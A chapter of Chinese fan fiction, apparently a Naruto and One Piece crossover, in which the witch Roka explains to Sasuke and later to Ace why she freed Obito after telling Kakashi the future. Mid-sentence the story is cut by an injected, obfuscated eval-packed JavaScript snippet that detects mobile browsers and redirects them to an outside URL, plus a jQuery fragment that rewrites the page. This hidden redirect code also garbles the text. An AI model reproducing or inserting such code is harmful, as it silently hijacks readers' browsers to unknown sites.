卡卡西被拎出来之后就被随意地扔在地上,此刻洛卡正背对着他查看配方,而他正靠在玻璃罐旁。他没有相信洛卡的话,闭上眼睛试图操纵身上的查克拉,然而他此时浑身上下都使不上力,努力好几遍都只觉四肢百骸好似都被重物压着,动弹不得。 “你抓他……要干什么?” “自然是有些特别的用处。”洛卡避而不答,走到桌边给卡卡西倒了杯红茶,“喝茶吗?” 卡卡西没动——他动不了。 洛卡作出一副略有些遗憾的表情,缩回手去自己喝了那红茶:“你在梦里看到的那些都是真的——宇智波带土会成为木叶的敌人,策划九尾之乱、利用晓推行月之眼计划、引发第四次忍界大战,这些都是未来会发生的事。” 卡卡西不想相信,但潜意识迫使他不得不信。最令他感到恐怖的是,眼下他对洛卡完全没有攻击欲望,就算是刚才尽力调动查克拉但失败的那一回,他也只是想逃走而已。 “眼下他还没有获得轮回眼,一切都还来得及。”洛卡对他友善地笑了笑,“你很幸运,在昔日故友铸下大错之前得到了一个阻止他的机会。” 为了避免被卡卡西获知佐助身上的情报,当时佐助不被允许同他见面,因此佐助是站在门外墙边听完这场对话的。 感慨完卡卡西的幸运之后佐助还听到洛卡问了他一个问题:“我真好奇,你会怎么利用你的这份幸运呢?” * 对于洛卡将带土相关的情报原原本本告诉了卡卡西一事,佐助也有些不太理解:“你为何要将你的目的告知卡卡西,这不是给你自己增加阻力吗?” “唔,宇智波带土的确是个好材料。”放走这样一个难得的人才,洛卡不是不肉痛的,“他虽然是个反派,但是目标坚定极有耐心,身体素质也不错,眼睛嘛——只要挖了就听话了。更何况只要我的术能成功,他人的意识将覆盖带土本人的意识,到时候他自己原先的想法也就不重要了。” 这样的话她也就和佐助说说,上回和艾斯提起这事时她下意识地撒了谎,还说受了祝福之术的人和神也没什么差别——其实那全然是两回事。 那术成功概率渺茫,洛卡也就没有多提。她叹了口气,说起了另一件事:“想必你哥也同你说过了,几年后你便成了木叶的罪人,替木叶奔波劳碌多年只为赎罪——但是现在你的命运既然已经改变,我想,或许就需要有人顶上这‘赎罪’的位置,这头的世界才好彻底放你走。” 佐助听她说起赎罪的事,眉间难掩厌恶之色;但听到最后又是一怔:她放走带土竟然是为了他? 洛卡还在说话:“你刚才问我为什么要把一切都告诉卡卡西?其实你看,卡卡西把带土带回木叶也算有功,他一定会用这功劳来换带土的命。而我并未收回带土身上的言灵术、也不准备再收回了,这也意味着只要卡卡西还活着,他作为卡卡西的保护者就绝对不能死。这个时候恐怕他自己也已经明白,他将在保护卡卡西和毁灭木叶的夹缝中艰难地活着,且必须在木叶的控制和掣肘之下活到卡卡西死的那一天。” 说着她双眼晶亮地看了佐助一眼,“毕竟我是来帮你报仇的,你不觉得这样比直接杀了他更有趣吗?” 佐助沉默良久:他总觉得刚才的对话里有一丝诡异的违和感,但他敏锐地察觉到,洛卡对此不想多提。 一夜未眠,洛卡忍不住打了个哈欠:“好了,我们差不多该回去了。” 这里毕竟是他乡,多留无益。 准备转移之前,洛卡在湖边的树丛中间看到了一个模糊的人影——那人还穿着眼熟的绣着红色云纹的长袍,是一路追到这里、但不知为何没有下一步行动的宇智波鼬。 他已经十分虚弱,步履间有几分蹒跚,艰难走下土坡后还需扶着树干才能站稳。 洛卡转回目光,并未将此事告知站在她身边的佐助,也或许佐助自己早就发现了但也没有吱声。总之头顶的大阵在天际大亮之前发出了紫黑色的强光,眨几回眼的工夫便将所有人都带离了此地。 * 此次出行也有不少人在木叶受了伤,因此回到他们常驻的那座岛之后白胡子倒是没急着开庆功宴,而是命令全队修整,养伤的养伤修船的修船,闹出了不小的阵仗。 如此一来,本次留守岛内没有随行的船员也不敢跟洛卡提下次什么时候再进行一次大转移让大家见见世面的事了。喜提长假的洛卡连着休养了两个星期,这一天起来时已是中午时分,她却还是觉得十分疲惫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143907|194828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但趟了这么多天身上难免疲乏,洛卡难得想要出门活动活动,打开门看到杵在她门口的人影时她还有些眼晕,待到看清那人影是艾斯时她猛地后退两步一脸惊恐:“佐助的木叶之行都结束了我不用再被迫训练了吧!” 艾斯被她弄得哭笑不得:“谁跟你说要盯你训练了?你的伤都没好全吧?”说着便将捏在手里的早报递了过去,“你的报纸。” 回来之后她虽然每天都起得很晚,但还是坚持每天看报纸。于是艾斯只能每天清晨起来先收起一份,等到中午饭点,估摸洛卡差不多起床了给她送过来放到门口的信箱里。 这木制邮筒也是为了让洛卡取报纸方便些,艾斯抽空打的。 洛卡谨慎地将门打开一条缝,不太明白他平常都是直接将报纸扔进邮筒里头,今天怎么送份报纸还这么郑重其事。但她还是伸手接过了那份报纸:“多谢。” 递出报纸后艾斯果然开始说正事:“先前你为了佐助放走了宇智波带土,佐助思来想去总觉不安,所以最后还是告诉了我。” 洛卡茫然了好一会儿才想起来这事:“……噢,那事啊。反正现在放也放走了,就这样吧。” 说着就想关门。 “你之前又骗了我吧?”艾斯伸手一把抓住了门框,“佐助同我说起我才想明白,当时你只是用让带土顶了佐助原先的倒霉运这个说法糊弄过去了,其实没对他说实话吧?” 是了,事后佐助终于想明白了他与洛卡交谈时那种违和感来自于哪里——洛卡在抓到卡卡西不久后便将一切对卡卡西和盘托出了,看上去完全没有要将带土作为实验体带回来的迹象。 洛卡叹了口气:“看来我的长假结束了。” 她关上卧室门,领着艾斯向炼药房走去,“想到让带土代替佐助是临时起意,我在给旗木卡卡西调制魔药的时候突然想到的。如果说佐助的原生世界是预感到了佐助身上的不对劲才将他排除,那他长大后又回去大闹一通,人家能乐意吗?如此下去谁也无法保证世界线变动会不会让已经脱离原定命运的佐助身上再出现什么意外。” “所以你把你原先看好的实验体留下当了佐助的替身?” 此时二人已经走到炼药房跟前,艾斯替她打开了门,“那……还真是要多谢你。” “也不止是这个原因。”洛卡缓步走进炼药房内,药柜前玻璃罐的位置空了,她不由得微微一愣,脚下步子一停,这才想起那关过卡卡西的玻璃罐已经在带土偷袭时被带土打碎了,“我之前确实对你撒谎了。我们巫师不过是神的奴仆,无论是用言灵术还是傀儡术都不可能造出神明。但我们能为神塑像。” “……塑像?” “这是全世界的人都爱干的事。东方人爱造寺庙、神社,西方人喜欢教堂、会堂。拥有信仰的人类会频繁在这类建筑中进行结婚、忏悔、许愿等等活动,希望自己的私欲也能得到神的垂怜。这类建筑中通常会有神的塑像,材料无非是石料、钢筋、油漆之类,再要贵些,也有黄金打造的。” 说到这里她停了一下,才继续说道,“他们的愿望之所以无法被神听见,恰恰是因为他们的塑像用了死物,而非活人。”